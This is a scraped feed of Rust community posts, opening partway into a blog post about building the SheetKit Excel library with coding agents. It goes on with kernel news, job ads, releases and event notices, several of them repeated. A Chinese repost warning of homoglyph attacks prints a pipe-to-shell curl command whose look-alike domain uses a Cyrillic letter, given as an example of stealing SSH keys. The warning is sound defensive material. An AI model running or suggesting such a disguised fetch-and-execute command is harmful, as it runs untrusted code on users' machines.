to step in, and what I'd do differently.
Building a New Excel Library in One Week https://lobste.rs/s/vuin9c #nodejs #rust
https://hackers.pub/@nebuleto/2026/en-us-sheetkit-in-one-week
hackers.pub
These days I work primarily in TypeScript on Node.js. I needed to handle bulk uploads of large Excel data and dynamically generate template Excel files to collect that data. Those templates had to include data validation, conditional formatting, dropdowns, and so on. The existing Node.js Excel libraries each had problems. One split its functionality between a community edition and a paid edition, which meant features I needed were locked away. The other had a gap between its internal implementation and its TypeScript typings, and it was too slow for what I was trying to do. Pull requests had piled up in the repository, but the project was no longer being maintained. I had known about Excelize, the Go library, for a while. Charts, conditional formatting, formulas, data validation: it covers a lot of the OOXML spec and does it well. I kept thinking I wanted something at that level in TypeScript. Coding agents have gotten noticeably better in the past year or so, and I wanted to try a specific way of working: I make all the design and architecture decisions, and agents handle the implementation. On Wednesday of last week (February 4th) I started analyzing Excelize and other Excel libraries. By Saturday night (February 7th) I was writing code. That's SheetKit. Repository Documentation (Getting Started) Benchmark results (environment, methodology, fixtures included):Node.js library comparison Rust comparison Fixture definitions This is the first of two posts. This one covers what SheetKit is and how the week went, from first release to the v0.5.0 I shipped this evening (February 14th). The second post will be about working with coding agents: what I delegated, how, and where it broke down. Release Timeline Dates are crates.io / npm publish timestamps. Approximate, not to-the-minute. VersionWhenDateWhatv0.1.0Sunday (last week)2026-02-08First publish (initial form)v0.1.2Monday early morning (last week)2026-02-09First snapshot worth calling a public releasev0.2.0Monday morning (last week)2026-02-09Buffer I/O, formula helpersv0.3.0Tuesday early morning (last week)2026-02-10Raw buffer FFI, batch APIs, benchmark suitev0.4.0Tuesday afternoon (last week)2026-02-10Feature expansion + documentation sitev0.5.0Saturday evening (today)2026-02-14Lazy loading / streaming, COW save, benchmark rule improvements What Is SheetKit? SheetKit is a Rust spreadsheet library for OOXML formats (.xlsx, .xlsm, etc.) with Node.js bindings via napi-rs. Bun and Deno work too, since they support Node-API. .xlsx files are ZIP archives containing XML parts. SheetKit opens the ZIP, deserializes each XML part into Rust structs, lets you manipulate them, and serializes everything back on save. Three crates on the Rust side: sheetkit-xml: Low-level XML data structures mapping to OOXML schemas sheetkit-core: All business logic sheetkit: Facade crate for library consumers Node.js bindings live in packages/sheetkit and expose the Rust API via #[napi] macros. To get started: sheetkit.dev/getting-started. Saturday Night to First Release (v0.1.x) I started coding Saturday night (February 7th) and pushed v0.1.0 the next day. By early Monday morning I had v0.1.2, which was the first version I'd actually call releasable. I had spent Wednesday analyzing the OOXML spec and how existing libraries implemented features, so by Saturday I had a detailed plan ready. I handed implementation to coding agents (Claude Code and Codex). The setup was: a main orchestrator agent receives the plan, then spawns sub-agents in parallel for each feature area. It burns through tokens fast, but it gets a large plan done quickly. After the agents finish, a separate agent does code review before I look at it. More on this workflow in the next post. v0.1.2 was an MVP. It had 44,000+ lines, 1,533 tests, 110 formula functions, charts, images, conditional formatting, data validation, StreamWriter, and builds for 8 platform targets. But it could only read/write via file paths (no Buffer I/O), and I hadn't measured performance at all. It worked, but that was about it. Monday: Starting to Think About Performance (v0.2.0 – v0.3.0) Buffer I/O (v0.2.0) v0.2.0 went up Monday morning, a few hours after v0.1.2. I added Buffer I/O: read and write .xlsx directly from in-memory buffers, no filesystem needed. In a server you're usually processing binary from an HTTP request or streaming a generated file back in the response, so this had to come early. fill_formula and other formula helpers went in at the same time. With Buffer I/O in place I could run tests closer to real production workloads. That's where the problems showed up. Switching to Raw Buffers (v0.3.0) The initial implementation created a JS object per cell and passed it across the Rust/JS FFI boundary. Pull a 50k×20 sheet as a row array and that's a million-plus JS objects. GC pressure and memory usage went through the roof. I got the idea from oxc, which transfers Rust AST data to JS as raw buffers instead of object trees. Same principle here: Don't create per-cell objects. Serialize the entire sheet into a compact binary buffer. Cross the FFI boundary once. The encoder picks dense or sparse layout automatically based on cell occupancy (threshold: 30%). Since the JS side receives a raw buffer, I also wrote a TypeScript parser for the format. v0.3.0 shipped the first version of this buffer protocol. v0.5.0 later replaced it with a v2 format that supports inline strings and incremental row-by-row decoding. I also made changes in the Rust XML layer. The goal was fewer heap allocations and simpler hot paths. ChangeWhyCell references ("A1") stored as [u8; 10] inline arrays, not heap StringsMax cell ref is "XFD1048576" (10 bytes). No need for the heap.Cell type attribute normalized to a 1-byte enumStops carrying raw XML attribute strings aroundBinary search for cells within a row, replacing linear scanMetricBeforeAfterMemory (RSS) at 100k rows361 MB13.5 MBNode.js read overhead vs. native Rust—~4%GC pressure1M+ object creationsSingle buffer transfer Benchmarks This is when I built the benchmark suite, comparing SheetKit against existing Node.js and Rust libraries. The runner outputs Markdown with environment info, iteration counts, and raw numbers. Setup: Apple M4 Pro, 24 GB / Node v25.3.0 / Rust 1.93.0. Median of 5 runs after 1 warmup. RSS/heapUsed are residual deltas (before vs. after), not peaks. Fixtures are generated deterministically; row counts include the header. 50k rows × 20 columns: SheetKit read 541 ms, write 469 ms. The JS-only libraries: 1.24–1.56s read, 1.09–2.62s write. heapUsed delta: 0 MB, which confirmed that the JS side was no longer accumulating objects. One odd thing: edit-xlsx, a Rust library, was showing suspiciously fast read times. I didn't understand why at this point. The explanation came during the v0.5.0 work (covered below). Tuesday: Closing Feature Gaps (v0.4.0) v0.4.0 shipped Tuesday afternoon. This one was about features, not performance. I went through what other Excel libraries supported and listed what SheetKit was still missing. Shapes, slicers, form controls, threaded comments, VBA extraction, a CLI. I also added 54 more formula functions (total: 164), mostly financial and engineering. Same orchestrator/sub-agent setup as before: write a detailed plan for each feature, have the agents implement in parallel, agent review first, then my review. Memory optimization continued on the side. Reworking the Cell struct and SST memory layout cut RSS from 349 MB to 195 MB for sync reads (44% drop). Async reads: 17 MB. I also set up a VitePress documentation site around this time. Today: Rethinking the Architecture (v0.5.0) v0.5.0 went out this evening. Unlike the previous releases, which added features on top of the same API shape, this one changed the Node.js API structure and parts of the Rust core. Lazy Loading by Default Before v0.5.0, open() parsed every XML part upfront. Open a 50k-row file and all sheets load into memory, even the ones you never touch. Now there are three read modes: lazy (default): reads ZIP index and metadata only. Sheets parse on first access. eager: the old behavior. Parse everything immediately. stream: forward-only, bounded memory. Lazy open costs less than 30% of eager, and pre-access memory is under 20% of eager. Auxiliary parts (comments, charts, images, pivot tables) also defer parsing until you actually call a method that needs them. Streaming Reader Forward-only reader for large files. One batch in memory at a time. const wb = await Workbook.open("huge.xlsx", { readMode: "stream" });const reader = await wb.openSheetReader("Sheet1", { batchSize: 1000 });for await (const batch of reader) { for (const row of batch) { // process }} Copy-on-Write Save When you save a lazily-opened workbook, unchanged sheets pass through directly from the original ZIP entry. No parse-serialize round trip. At work I generate files by opening a template, filling in a few cells, and sending it back. That's exactly the workload this helps. The edit-xlsx Read Anomaly Back when I built the benchmarks, edit-xlsx was recording very fast read times on some files. Rows/cells count was dropping to zero. I added comparability rules to the benchmark: Check that rows/cells count matches expectations Value-probe a few cells at known coordinates If either fails, mark the result non-comparable Then I dug into why. In SpreadsheetML, fileVersion, workbookPr, and bookViews in workbook.xml are optional. edit-xlsx 0.4.x treats them as required. When deserialization fails on a file missing these elements, it falls back to a default struct: rows=0, cells=0, near-zero runtime. It was fast because it wasn't reading anything. SheetKit now writes default values for fileVersion and workbookPr (matching Excel's own defaults) when they're absent, for compatibility. Node.js Bindings Faster Than Native Rust? In some write scenarios, the Node.js bindings beat native Rust. ScenarioRustNode.jsOverheadWrite 50k rows × 20 cols544 ms469 ms−14% (Node.js faster)Write 20k text-heavy rows108 ms86 ms−20% (Node.js faster) This happens because V8 is very good at string interning and memory management when building SST data through the batch API (setSheetData). The napi crossing costs less than what V8 saves. I did not expect to see negative overhead, but here we are. Dogfooding SheetKit I replaced our previous library with SheetKit at work. Template generation and bulk upload processing have been running fine. Where it stands today (February 14th): Streaming read/write in both Node.js and Rust 164 formula functions 43 chart types Multiple image formats Read overhead (Node.js vs. Rust): ~4%. Some write scenarios are faster from Node.js. Details at sheetkit.dev. The library is still experimental and APIs may change. I'll keep using it in production, measuring, and fixing things as they come up. Issues and PRs are always welcome. Next Post This covered the what and when. The next post is about the how: orchestrator/sub-agent structure, how I used Claude Code and Codex, the agentic code review loop, where I had to step in, and what I'd do differently.
Edit: apparently slop https://chaos.social/@calisti/116069199411537802
Exemplary article on match and at-bindings
https://www.codegenes.net/blog/referring-to-matched-value-in-rust/
codegenes.net
Rust’s `match` expression is a cornerstone of the language, enabling powerful pattern matching that makes code expressive and robust. Whether you’re handling enums, tuples, structs, or custom data types, `match` allows you to destructure values and handle cases with precision. However, as patterns grow more complex, referring to the **original matched value** or **specific parts of it** can become verbose—unless you know the right techniques. This guide dives into practical strategies for concisely referencing matched values in `match` expressions. From `@` bindings to shadowing, destructuring with references, and leveraging `if let`/`while let`, we’ll explore how to write cleaner, more maintainable Rust code by avoiding redundancy and clarifying intent. By the end, you’ll master the tools to refer to matched values with confidence, even in complex patterns.
The #Rust support in the #Linux #kernel is now officially a first class citizen and not considered experimental any more:
https://git.kernel.org/torvalds/c/9fa7153c31a3e5fe578b83d23bc9f185fde115da; for more details, see also: https://lwn.net/Articles/1050174/
This is one of the highlights from the main #RustLang for #LinuxKernel 7.0 that was merged a few hours ago ; for others, see https://git.kernel.org/torvalds/c/a9aabb3b839aba094ed80861054993785c61462c
Screenshot from the first linked page that removes the experimental classification.
The #Rust support in the #Linux #kernel is now officially a first class citizen and not considered experimental any more:
https://git.kernel.org/torvalds/c/9fa7153c31a3e5fe578b83d23bc9f185fde115da; for more details, see also: https://lwn.net/Articles/1050174/
This is one of the highlights from the main #RustLang for #LinuxKernel 7.0 that was merged a few hours ago ; for others, see https://git.kernel.org/torvalds/c/a9aabb3b839aba094ed80861054993785c61462c
Screenshot from the first linked page that removes the experimental classification.
The #Rust support in the #Linux #kernel is now officially a first class citizen and not considered experimental any more:
https://git.kernel.org/torvalds/c/9fa7153c31a3e5fe578b83d23bc9f185fde115da; for more details, see also: https://lwn.net/Articles/1050174/
This is one of the highlights from the main #RustLang for #LinuxKernel 7.0 that was merged a few hours ago ; for others, see https://git.kernel.org/torvalds/c/a9aabb3b839aba094ed80861054993785c61462c
Screenshot from the first linked page that removes the experimental classification.
This Week's Rust Tip
Const Generics for Type-Safe Matrix Operations
Const generics enable parameterizing types with compile-time constants, such as array or matrix dimensions.
Hey #rust / #rustlang folks! I haven’t been on here in a bit so I have no idea if people will see this, but I have a new oss cli devtool I’m looking for beta user feedback on. Short pitch: read, navigate, and search rust docs directly in your terminal. Is that something you’d use if it were blazing fast?
Show HN: Artifact Keeper – Open-Source Artifactory/Nexus Alternative in Rust
github.com
artifact-keeper has 7 repositories available. Follow their code on GitHub.
Is your company currently hiring for a role that includes using Rust?
Reply with a link to the opening and any relevant context.
If you're not, we'd appreciate a repost for visibility
Is your company currently hiring for a role that includes using Rust?
Reply with a link to the opening and any relevant context.
If you're not, we'd appreciate a repost for visibility
Show HN: Artifact Keeper – Open-Source Artifactory/Nexus Alternative in Rust
github.com
artifact-keeper has 7 repositories available. Follow their code on GitHub.
Next Rust in Paris 2026 speaker is @brendan, working on Thunderbird at MZLA.
Their talk will be "Implementing an async operation queue in Rust for Thunderbird".
To buy your ticket: https://ti.to/xperhub/rust-in-paris-2026
See you there!
rustinparis.com
Rust in Paris is a community conference for developers passionate about building secure, concurrent, high-performing software with Rust.
Next Rust in Paris 2026 speaker is @brendan, working on Thunderbird at MZLA.
Their talk will be "Implementing an async operation queue in Rust for Thunderbird".
To buy your ticket: https://ti.to/xperhub/rust-in-paris-2026
See you there!
rustinparis.com
Rust in Paris is a community conference for developers passionate about building secure, concurrent, high-performing software with Rust.
If any of you are looking to hire an excellent remote Rustacian, then please do reach out @savanni.
She’s a gifted programmer, a clear-thinker, and a great collaborator.
Working closely with Savanni was the highlight of my year at 1Password.
If any of you are looking to hire an excellent remote Rustacian, then please do reach out @savanni.
She’s a gifted programmer, a clear-thinker, and a great collaborator.
Working closely with Savanni was the highlight of my year at 1Password.
#CDN的收藏夹
FW: codedump的电报频道 - Telegram
仅凭肉眼，根本看不出下面两个curl命令的区别：
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
这是一张关于网络安全警示的微博截图，讨论了终端中由于同形异义字导致的命令执行风险，并推介了名为 Tirith 的安全工具。 原文如下： 爱可可-爱生活 【你的终端正在裸奔：一个肉眼看不出的字符差异，就能让你的 SSH 密钥被盗】 说实话，你上一次认真读完一条命令再粘贴到终端，是什么时候？ 看看这两行代码： curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-cli | bash 一个安装工具，一个偷走你的 SSH 密钥。 区别在哪？第二行的「і」是西里尔字母，不是拉丁字母。浏览器早就回拦截这种同形异义字攻击，但终端连眼都不眨一下就执行了。 这就是问题所在。浏览器在十年前就解决了这个安全漏洞，而我们每天使用的终端，至今仍然对 Unicode、ANSI 转义序列、不可见字符毫无防备。 氛围编程让这件事变得更危险了。大家从 ChatGPT、从各种仓库复制命令，像喝水一样自然。我有两个朋友就是因为这种攻击，加密钱包被清空了。 所以有人做了 Tirith。 它是一个隐形的 shell 钩子，在命令执行前进行拦截。30 条规则，覆盖 7 个类别：同形异义字攻击、终端注入、管道执行、配置文件篡改、不安全传输、生态系统威胁、凭证泄露。 所有分析都在本地完成，没有网络请求，没有遥测，没有后台进程。正常命令零输出，你甚至会忘记它在运行。只有当它救你一命的时候，你才会想起它的存在。 安装很简单： brew install sheeki03/tap/tirith && eval "$(tirith init)"
Just sent my first signed request to #Mastodon that was accepted. This took much more time than it should have, but the next steps should become much simpler. #rust #activitypub
my brother in christ the people building the #reticulum #rust port have "defence & tactical communications" as their primary use case... followed by drones and mining 😵💫 #fosdem2026
github.com
Reticulum Networking Stack implementation written in Rust - BeechatNetworkSystemsLtd/Reticulum-rs
Setup my blog today, and made my first post detailing a Nix flake that I include on all my nixosSystem builds that sets some sensible defaults
Check it out: https://blog.xvrqt.com/nix-defaults.html
#nix #nixos #rust #flakes #programming #coder #hacking #crows
blog.xvrqt.com
Sensible Nix Defaults If you're using Nix you are probably more accustomed to nonsense, and I am no...
AerynOS Project Update and ISO release: January 2026
https://aerynos.com/blog/2026/31/january-2026-project-update/
A big update for January to kick off 2026 along with a new ISO release for you all to get your hands on.
Photoroom (YC S20) Is Hiring a Head of Cross-Platform (Rust) in Paris
https://jobs.ashbyhq.com/photoroom/dc994a7c-e104-46e1-81c3-b88d635398b9
jobs.ashbyhq.com
About us Photoroom https://www.photoroom.com launched in 2020 after being accepted into Y Combinator and has become the world's most popular AI photo editor over the past four years. Our goal is to create the technology allowing anyone create studio-level product images in minutes. With over 300 million downloads and processing 5+ billion images annually, we serve both individual creators and major enterprises like Amazon, DoorDash, and Decathlon through our B2C app and B2B API solutions. We're a profitable, remote-friendly company that has raised Series B funding and aims for 40% year-over-year growth. Our team of 100+ passionate builders focuses on craft, innovation, and collaboration, creating exceptional impact for entrepreneurs and businesses worldwide. TL;DR 🤓 We're looking for a Head of Cross-Platform (Rust) to lead our world-class Rust cross-platform team to the next level. You'll drive our long-term technical vision and make bold strategic bets to push the envelope of our internal SDK while managing the team 💰 up to 150k (local currency) + stock options 🇪🇺 Remote-friendly within 3-hour flight from Paris, come once a month to Paris (fully reimbursed), or come to the office more often as you please. ✈️ Relocation support up to €10k + visa sponsorship for France-based positions 💻 Full tech setup + annual company retreats 🇬🇧 Photoroom is an international team and we work in English. We offer language lessons for those who need them (English & French). ✨ ABOUT THE ROLE ✨ You'll own: - Long-term strategy and execution of our internal Rust-based engine. This encompasses rendering, document model, data synchronisation and realtime collaboration. - Cross-functional partnership - serving as the keystone behind our iOS, Android, Web apps and API. - Team leadership - scaling our team while maintaining culture and excellence, fostering knowledge-sharing and bottom-up initiatives. - Technical excellence - code review, performance optimisation, and troubleshooting complex issues Key opportunities to drive impact: - Establish technical direction for our ambitious goals around agentic image editing - Advance our wgpu-based rendering pipeline for a best-in-class editing experience - Create space for calculated risk-taking alongside rapid shipping excellence ✨ ABOUT YOU ✨ Must-haves: - Proven experience leading deeply technical teams within product companies, with strategic decision-making experience and hiring + mentorship experience. - Technical depth for mentorship - spot code issues, debug failures, analyse performance bottlenecks, and guide ICs through complex technical challenges. - Cross-platform experience - building tools and libraries aimed at being consumed by other developers, in Rust or C/C++ - Cross-functional collaboration - can work closely with other Engineering teams, Product, Sales, etc. Ability to simplify deeply technical topics into understandable terms. - Empowering leadership style with technical credibility - set context, maintain hands-on expertise, code review proficiency, and opinionated technical guidance Nice-to-haves: - Experience working with or leading engineers working on rendering APIs: OpenGL, WebGL, Vulkan, Metal, WebGPU, DX12, etc - Experience ensuring maintainability and scalability of large (>100k LOC) Rust codebases - Experience with text-rendering pipelines or vector-graphics editing pipelines This position reports to: Chief Technology Officer ✨ HIRING PROCESS ✨ - Screening call with Recruiter - Technical Interview - Technical Presentation with current team - Culture fit interviews - Reference check & Offer DIVERSITY, EQUITY, INCLUSION, AND BELONGING We're committed to enabling everyone to feel included and valued at work. We believe our company and culture are strongest when composed of diverse experiences and backgrounds. That's also why we have flexible working hours, trust people to work remotely, and extended parental leave. All qualified applicants receive consideration for employment without regard to age, color, family, gender identity, marital status, national origin, physical or mental disability, sex (including pregnancy), sexual orientation, or any other characteristic protected by applicable laws.
Photoroom (YC S20) Is Hiring a Head of Cross-Platform (Rust) in Paris
https://jobs.ashbyhq.com/photoroom/dc994a7c-e104-46e1-81c3-b88d635398b9
jobs.ashbyhq.com
About us Photoroom https://www.photoroom.com launched in 2020 after being accepted into Y Combinator and has become the world's most popular AI photo editor over the past four years. Our goal is to create the technology allowing anyone create studio-level product images in minutes. With over 300 million downloads and processing 5+ billion images annually, we serve both individual creators and major enterprises like Amazon, DoorDash, and Decathlon through our B2C app and B2B API solutions. We're a profitable, remote-friendly company that has raised Series B funding and aims for 40% year-over-year growth. Our team of 100+ passionate builders focuses on craft, innovation, and collaboration, creating exceptional impact for entrepreneurs and businesses worldwide. TL;DR 🤓 We're looking for a Head of Cross-Platform (Rust) to lead our world-class Rust cross-platform team to the next level. You'll drive our long-term technical vision and make bold strategic bets to push the envelope of our internal SDK while managing the team 💰 up to 150k (local currency) + stock options 🇪🇺 Remote-friendly within 3-hour flight from Paris, come once a month to Paris (fully reimbursed), or come to the office more often as you please. ✈️ Relocation support up to €10k + visa sponsorship for France-based positions 💻 Full tech setup + annual company retreats 🇬🇧 Photoroom is an international team and we work in English. We offer language lessons for those who need them (English & French). ✨ ABOUT THE ROLE ✨ You'll own: - Long-term strategy and execution of our internal Rust-based engine. This encompasses rendering, document model, data synchronisation and realtime collaboration. - Cross-functional partnership - serving as the keystone behind our iOS, Android, Web apps and API. - Team leadership - scaling our team while maintaining culture and excellence, fostering knowledge-sharing and bottom-up initiatives. - Technical excellence - code review, performance optimisation, and troubleshooting complex issues Key opportunities to drive impact: - Establish technical direction for our ambitious goals around agentic image editing - Advance our wgpu-based rendering pipeline for a best-in-class editing experience - Create space for calculated risk-taking alongside rapid shipping excellence ✨ ABOUT YOU ✨ Must-haves: - Proven experience leading deeply technical teams within product companies, with strategic decision-making experience and hiring + mentorship experience. - Technical depth for mentorship - spot code issues, debug failures, analyse performance bottlenecks, and guide ICs through complex technical challenges. - Cross-platform experience - building tools and libraries aimed at being consumed by other developers, in Rust or C/C++ - Cross-functional collaboration - can work closely with other Engineering teams, Product, Sales, etc. Ability to simplify deeply technical topics into understandable terms. - Empowering leadership style with technical credibility - set context, maintain hands-on expertise, code review proficiency, and opinionated technical guidance Nice-to-haves: - Experience working with or leading engineers working on rendering APIs: OpenGL, WebGL, Vulkan, Metal, WebGPU, DX12, etc - Experience ensuring maintainability and scalability of large (>100k LOC) Rust codebases - Experience with text-rendering pipelines or vector-graphics editing pipelines This position reports to: Chief Technology Officer ✨ HIRING PROCESS ✨ - Screening call with Recruiter - Technical Interview - Technical Presentation with current team - Culture fit interviews - Reference check & Offer DIVERSITY, EQUITY, INCLUSION, AND BELONGING We're committed to enabling everyone to feel included and valued at work. We believe our company and culture are strongest when composed of diverse experiences and backgrounds. That's also why we have flexible working hours, trust people to work remotely, and extended parental leave. All qualified applicants receive consideration for employment without regard to age, color, family, gender identity, marital status, national origin, physical or mental disability, sex (including pregnancy), sexual orientation, or any other characteristic protected by applicable laws.
P.S. if you want more of where this comes from, consider sponsoring me. Not just for my work on `time`, but for some compiler work that has been delayed for far too long because I've not had the time. There's a lot I want to get done!
Some of my contracting work has slowed quite a bit, so every bit helps! I'm also open to contracting roles 😉
github.com
I am the sole maintainer of `time,` a foundational crate in Rust. I also contribute to the Rust compiler and standard library. I have written multiple accepted RFCs, eliminated special-casing for `...
Xfwl4: The roadmap for a Xfce Wayland Compositor https://lobste.rs/s/xcwljr #linux #rust
https://alexxcons.github.io/blogpost_15.html
alexxcons.github.io
Xfwl4: The roadmap for a Xfce Wayland Compositor https://lobste.rs/s/xcwljr #linux #rust
https://alexxcons.github.io/blogpost_15.html
alexxcons.github.io
Zlib-rs is now feature-complete! We've released v0.6, the first version with a stable and complete API. The blog post has the details.
Zlib-rs offers an alternative to C/C++ counterparts. It provides on-par (or better!) performance while reducing attack surface through memory safety.
With thanks to our maintainer @folkertdev, our contributors and @sovtechfund.
trifectatech.org
Zlib-rs is now feature-complete! We've released v0.6, the first version with a stable and complete API. The blog post has the details.
Zlib-rs offers an alternative to C/C++ counterparts. It provides on-par (or better!) performance while reducing attack surface through memory safety.
With thanks to our maintainer @folkertdev, our contributors and @sovtechfund.
trifectatech.org
time v0.3.46 has been released. Highly recommended you upgrade for the performance gains if nothing else.
Leap year checking, date arithmetic, date constructors, and some parts of parsing all have huge performance gains (on the order of 15–30% each). There's also improved documentation, bug fixes, and some new methods.
Release notes: https://github.com/time-rs/time/blob/main/CHANGELOG.md#0346-2026-01-23
github.com
Date and time handling in Rust. Contribute to time-rs/time development by creating an account on GitHub.
time v0.3.46 has been released. Highly recommended you upgrade for the performance gains if nothing else.
Leap year checking, date arithmetic, date constructors, and some parts of parsing all have huge performance gains (on the order of 15–30% each). There's also improved documentation, bug fixes, and some new methods.
Release notes: https://github.com/time-rs/time/blob/main/CHANGELOG.md#0346-2026-01-23
github.com
Date and time handling in Rust. Contribute to time-rs/time development by creating an account on GitHub.
Rheo - Typesetting and static site engine based on Typst https://lobste.rs/s/3zsexb #release #rust
https://github.com/freecomputinglab/rheo
github.com
Typesetting and static site engine based on Typst. Contribute to freecomputinglab/rheo development by creating an account on GitHub.
Collected this weekend's updates to my Smalltalk-80 VM into a new wasm build. (You may need to shift-reload it to get it to work if you've visited before.)
There's now a speed selector to experience what was considered "barely usable" back in 1983 (5000 bytecodes/sec, not remotely usable by modern standards). And the VM is complete enough to run "Benchmark testStandardTests."
If you crank up the speed knob (and have enough host CPU) the standard tests complete in 537 ms, which is pretty darn fast, and compares favorably with Rochus Keller's optimized C++ VM, despite my rather naive display routines.
cliffle.com
Collected this weekend's updates to my Smalltalk-80 VM into a new wasm build. (You may need to shift-reload it to get it to work if you've visited before.)
There's now a speed selector to experience what was considered "barely usable" back in 1983 (5000 bytecodes/sec, not remotely usable by modern standards). And the VM is complete enough to run "Benchmark testStandardTests."
If you crank up the speed knob (and have enough host CPU) the standard tests complete in 537 ms, which is pretty darn fast, and compares favorably with Rochus Keller's optimized C++ VM, despite my rather naive display routines.
cliffle.com
hell yeah! a full day of high performance sandboxing!!
you should get your employer to pay for this one! its going to be great 😁
#wasm #webassembly #rust
https://fosstodon.org/@mainmatter/115939097286288772
fosstodon.org
On Feb 18th, our @unsafe@webtoo.ls is giving a hands-on workshop at @Rustnationuk@hachyderm.io in London. You'll learn all about server-side WebAssembly, covering everything from foundational concepts to cutting-edge features. Tickets are selling fast, so make sure to get yours today! 👉 https://www.rustnationuk.com/workshops#wasm-workshop
The work on the reflection API for Rust is the coolest thing ever. When it was just merged, it was only useful for tuples.
I blinked and now there's arrays, bools, chars, ints, strs, floats, references and pointers. With structs and enums in the works. I know it will be a while but I can't wait for it to stabilize! (Without rushing the maintainers, take your time to get it right!)
This Week's Project Spotlight 🦀
Tylax
Tylax is a high-performance tool that converts mathematical formulas, tables, full documents, and TikZ graphics between LaTeX and Typst formats.
Hi everyone. Next Rust sysinfo crate release is kinda stuck at the moment as I'm trying to get the missing parts for the NetBSD support. Currently I'm missing:
If anyone knows how to get the missing information, it'd be awesome!
Otherwise, well, I'll just release an incomplete support.
github.com
Cross-platform library to fetch system information - GuillaumeGomez/sysinfo
Clippy Changelog Cat Contest 1.93 is open!
Upload your cat in the comments and tomorrow we'll have a vote on which one is the best!
Screenshot of pull request for the contest, upload your cat pictures in the comments and tomorrow we'll have a vote on which one is the best!
Clippy Changelog Cat Contest 1.93 is open!
Upload your cat in the comments and tomorrow we'll have a vote on which one is the best!
Screenshot of pull request for the contest, upload your cat pictures in the comments and tomorrow we'll have a vote on which one is the best!
it's live. 🎉 enjoy and feedback welcome!
flathub.org
Browse SQLite files
#rust isn't a superior language. But learning rust's type system makes other languages feel inferior. The curse of knowledge...
I had this idea for a while to write a guide to embedded Rust for people that already use Rust. And for material that is less about the low-level details and more about writing high level embedded apps.
I started this today under the working title Top Down Embedded Rust: https://github.com/tdittr/top-down-embedded-rust
I would be happy about feedback on the general idea and structure. Especially if you are programming Rust but are not an embedded developer.
github.com
Contribute to tdittr/top-down-embedded-rust development by creating an account on GitHub.
I had this idea for a while to write a guide to embedded Rust for people that already use Rust. And for material that is less about the low-level details and more about writing high level embedded apps.
I started this today under the working title Top Down Embedded Rust: https://github.com/tdittr/top-down-embedded-rust
I would be happy about feedback on the general idea and structure. Especially if you are programming Rust but are not an embedded developer.
github.com
Contribute to tdittr/top-down-embedded-rust development by creating an account on GitHub.
A toolkit for finite state machines: DFA, NFA, Moore, Mealy. Compact binary format, visualisation, code generation, TUI editor.
https://github.com/ha1tch/fsm-toolkit/releases/tag/v0.8.0
@ Native PNG and SVG renderers — no Graphviz dependency. Sugiyama layered layout algorithm. 4× supersampling for crisp output. Graphviz support still available, this is work in progress, matching Graphviz quality reliably will take time.
@ NFA support with powerset simulation, epsilon closure, and NFA→DFA conversion.
@ TUI editor (fsmedit) with mouse drag, undo/redo, two-column file browser, persistent config.
@ Code generation for C, Rust, and Go/TinyGo. Interactive runner with state history.
@ Formal specification documenting semantic guarantees.
Binaries: Linux, macOS, Windows, FreeBSD, OpenBSD, NetBSD
https://github.com/ha1tch/fsm-toolkit/releases/tag/v0.8.0
#fsm #golang #foss #automata #compsci #tui #rustlang #rust #programming #electronics #embedded #embeddeddevelopment
fsm-toolkit v0.8.0 released A toolkit for finite state machines: DFA, NFA, Moore, Mealy. Compact binary format, visualisation, code generation, TUI editor. https://github.com/ha1tch/fsm-toolkit Wha...
Looking for a new software engineering role.
- Based out of Australia (UTC+8)
- Remote work only
- Backend, frontend, and embedded experience
- 5 years professional experience, 15 years as a hobbyist
- Languages: Rust, C, C++, Go, Java, Python, Lua, Perl, Nix, Bash, Javascript, Typescript, HTML, CSS, SQL
- Interests: High-performance computing, low-level programming, embedded devices, game engines, computer graphics
Just read a great blog post about what "complexity" is in programming languages from @Greek_Language_Facts and it was a great read, so sharing it. :)
https://ahiru.eu/velona/simplicity/
Enjoy!
ahiru.eu
Alternative title: “Just what does complexity really mean, anyway?”
Mozilla Ads, vos annonces publicitaires en toute confiance
https://www.mozilla.org/en-US/advertising/
When you advertise on Mozilla’s Firefox and MDN Web Docs, you’ll connect with over 210 million selective, discerning, brand-loyal users. Because they trust us, they’ll trust you.
***
Tout plaquer, apprendre #Rust et candidater pour un financement NGI0 auprès de la NLnet afin de contribuer à #Servo le plus vite possible.
mozilla.org
New in the FSM toolkit:
https://github.com/ha1tch/fsm-toolkit
Code generation — export your state machines to C, Rust, or Go (TinyGo compatible). Zero dependencies, embedded-friendly.
fsm analyse — catches unreachable states, dead ends, non-determinism, and unused symbols before they bite you.
Editor improvements — undo/redo (Ctrl+Z/Y), toggle wires with W, states always visible over arcs, parallel transitions no longer overlap.
Quick image export — fsm png / fsm svg without piping through dot.
Still a compact hex format at heart that fits in your head!
#fsm #compsci #rustlang #golang #rust #programming #embedded #electronics
Looking for a new software engineering role.
- Based out of Australia (UTC+8)
- Remote work only
- Backend, frontend, and embedded experience
- 5 years professional experience, 15 years as a hobbyist
- Languages: Rust, C, C++, Go, Java, Python, Lua, Perl, Nix, Bash, Javascript, Typescript, HTML, CSS, SQL
- Interests: High-performance computing, low-level programming, embedded devices, game engines, computer graphics
We just published all talks from RustWeek 2025 🦀 🌎
Clear your calendars: 25+ hours and 54 talks worth of amazing Rust content!
https://www.youtube.com/playlist?list=PL8Q1w7Ff68DCEXiGidlM0DMn8ztjlUlez
youtube.com
All talks from RustWeek 2025 https://rustweek.org/ May 13&14, 2025. Utrecht, The Netherlands. Join us next year? Sign up here: https://2026.rustweek.org/
Mozilla Ads, vos annonces publicitaires en toute confiance
https://www.mozilla.org/en-US/advertising/
When you advertise on Mozilla’s Firefox and MDN Web Docs, you’ll connect with over 210 million selective, discerning, brand-loyal users. Because they trust us, they’ll trust you.
***
Tout plaquer, apprendre #Rust et candidater pour un financement NGI0 auprès de la NLnet afin de contribuer à #Servo le plus vite possible.
mozilla.org
My latest video about @mullvadnet VPN is up on PeerTube, too!
If you are adverse to YouTube, that is cool with me and that is why I also post on Peertube.
Watch it here: https://gnulinux.tube/w/ceruHTeDXMS7kYhVo6wSZT
#PeerTube #GNULinuxTube #Mullvad #VPN #Privacy #FOSS #Linux #Debian #WireGuard #Rust #CyberSecurity #TerminalTilt #NoAI #HumanMade #OpenSource
gnulinux.tube
Why is Mullvad the best VPN for privacy in 2026? As they officially retire OpenVPN support (Jan 15, 2026) and migrate to their new Rust-based GotaTun engine, Mullvad continues to stand alone. In th...
